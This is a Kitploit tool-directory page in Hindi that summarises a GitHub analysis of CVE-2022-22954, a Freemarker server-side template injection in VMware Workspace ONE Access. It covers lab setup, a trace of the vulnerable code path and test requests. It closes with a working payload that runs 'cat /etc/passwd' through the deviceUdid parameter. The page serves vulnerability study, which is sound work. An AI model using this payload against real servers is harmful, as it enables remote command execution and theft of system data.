Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-22954 — CVE-2022-22954 विश्लेषक | Kitploit
उपकरण/GitHubGitHub/nguyenv1nk/cve-2022-22954
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubnguyenv1nk/cve-2022-22954

CVE-2022-22954

CVE-2022-22954 विश्लेषक

रिपॉजिटरी देखें
4 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-22954 का विश्लेषण

अवलोकन

Workspace ONE Access (एक सेवा के रूप में कार्यक्षेत्र प्रदान करने का मॉडल) SaaS, वेब और मोबाइल अनुप्रयोगों के लिए बहु-कारक प्रमाणीकरण, एकल साइन-ऑन और सशर्त पहुँच प्रदान करता है। CVE-2022-22954 एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) दोष है जो निम्नलिखित उत्पादों में मौजूद है:

  • VMware Workspace ONE Access (Access): v21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
  • VMware Identity Manager (vIDM): v3.3.6, 3.3.5, 3.3.4, और 3.3.3
  • VMware vRealize Automation (vRA): v8.x और 7.6
  • VMware Cloud Foundation (VCF): v4.x और 3.x
  • vRealize Suite Lifecycle Manager: 8.x

सेटअप

  1. VMware Workspace ONE Access Appliance संस्करण 21.08.0.1 की ova फ़ाइल डाउनलोड करें।

  2. VMware Workstation से फ़ाइल खोलें, वर्चुअल मशीन NAT नेटवर्क पर होनी चाहिए।

  3. नेटवर्किंग गुणों में, होस्ट नाम (FQDN) कॉन्फ़िगर करें।

  4. इंस्टॉलेशन पूरा होने के बाद, एप्लिकेशन खाता पासवर्ड, SSH खाता पासवर्ड और डेटाबेस पासवर्ड कॉन्फ़िगर करने के लिए https://{{hostname}}:8443/ पर जाएँ। एप्लिकेशन https://{{hostname}}/ पर चलता है।

  5. sshuser खाते से वर्चुअल मशीन में लॉग इन करें, फिर रूट खाते में स्विच करें। एप्लिकेशन पथ /opt/vmware/horizon/workspace/ पर पाया गया। स्रोत कोड निर्देशिका /opt/vmware/horizon/workspace/webapps में है।

  6. फ़ाइल /opt/vmware/horizon/workspace/bin/setenv.sh की जाँच करें, देखा कि JAVA_OPTS वेरिएबल रिमोट डिबगिंग के लिए कॉन्फ़िगर किया जा सकता है।

  7. JAVA_OPTS में -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n जोड़ें और सेवा पुनरारंभ करें।

    root@kitploit:~
     `systemctl restart horizon-workspace.service`
    

पथ विश्लेषण

हॉटफ़िक्स फ़ाइल HW-154129-applyWorkaround.py डाउनलोड करें।

चरणों में, एक चरण में templates/customError.ftl फ़ाइल को एप्लिकेशन से हटाना शामिल है।

customError.ftl फ़ाइल में, eval फ़ंक्शन मौजूद है। यदि errorObj मान को नियंत्रित किया जा सके तो यहाँ से Freemarker SSTI दोष का शोषण किया जा सकता है।

क्लास com.vmware.enusercatalog.ui.web.UiErrorController में, फ़ंक्शन handleGenericError errorMessage वेरिएबल के माध्यम से errorObj में मान निर्दिष्ट करता है।

आगे फ़ंक्शन कॉल और errorMessage पैरामीटर का अनुसरण करें।

फ़ंक्शन handleUnauthorizedError

फ़ंक्शन getErrorPage

दो फ़ंक्शन sendError और sendUnhandledError पर, errorMessage का मान विशेषता javax.servlet.error.message से लिया जाता है।

क्लास com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver में, विशेषता javax.servlet.error.message का मान फ़ंक्शन resolverExeption में निर्दिष्ट किया जाता है।

फ़ंक्शन handleAnyGenericExeption को @ExeptionHandler एनोटेशन से चिह्नित किया गया है।

क्लास com.vmware.endusercatalog.ui.UiApplication में, @CommponentScan से चिह्नित पैकेजों में com.vmware.endusercatalog.auth शामिल है।

=> इस पैकेज के अपवादों को handleAnyGenericExeption फ़ंक्शन द्वारा पकड़ा जा सकता है।

com.vmware.endusercatalog.ui.config में, इंटरसेप्टर AuthContextPopilationInterceptor को निम्नलिखित पथों के साथ जोड़ा गया है: /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify

क्लास com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor पर रीडायरेक्ट करें, फ़ंक्शन preHandle में, एप्लिकेशन दो पैरामीटर deviceUdid और deviceType प्राप्त करता है और फ़ंक्शन authContextBuilder को कॉल करता है।

क्लास com.vmware.endusercatalog.auth.interceptor.AuthContext में, अपवाद InvalidAuthContextException तब उत्पन्न होगा जब शर्त this.isValidRequest संतुष्ट नहीं होती है।

isValidRequest को संतुष्ट करने के लिए, दो पैरामीटर this.deviceId और this.deviceType को एक साथ खाली या एक साथ मान वाला होना चाहिए।

=> केवल एक पैरामीटर के लिए मान पास करने पर यहाँ त्रुटि उत्पन्न होगी।

अनुरोध भेजें

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?deviceUdid=111 

त्रुटि उत्पन्न होती है

root@kitploit:~
An unexpected error occurred while processing request with requestId: {0}.

फ़ंक्शन com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController पर वापस जाएँ, देखा कि उपरोक्त त्रुटि आवश्यक पैरामीटर error की कमी के कारण उत्पन्न हुई।

root@kitploit:~
    @GetMapping(
        value = {"/ui/oauth/verify"},
        params = {"error"}
    )
    @ApiOperation(
        value = "authorizeError",
        notes = ""
    )
    public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
        LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
        throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
    }

अनुरोध पुनः भेजें

root@kitploit:~
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc 

deviceUdid का मान प्रतिक्रिया में दिखाई देता है।

Freemarker SSTI दोष उत्पन्न करने वाला पैरामीटर जोड़ें।

निम्न मान के साथ अनुरोध भेजें

root@kitploit:~
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

EXPLOIT

संदर्भ लिंक

  • https://kb.vmware.com/s/article/88099
  • https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC/
  • https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
टूल डाउनलोड करें